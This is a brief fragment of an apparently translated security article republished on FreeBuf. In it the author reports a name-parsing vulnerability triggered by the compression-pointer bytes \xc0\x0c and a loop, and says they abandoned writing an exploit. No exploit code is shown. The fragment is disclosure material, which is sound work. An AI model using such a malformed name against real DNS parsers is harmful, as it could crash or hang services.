我发现了一个漏洞,出现在解析&\xc0\x0c&名字+使用循环时
我分析了漏洞并着手写了一个exploit
鉴于漏洞出现在较新的代码中,所以我放弃了写利用代码转而写了这篇。
* 本文由xiaix翻译,原文出处
skullsecurity ,转载请注明来自FreeBuf黑客与极客()

我要回帖

更多关于 www.hellodns.org 的文章

 

随机推荐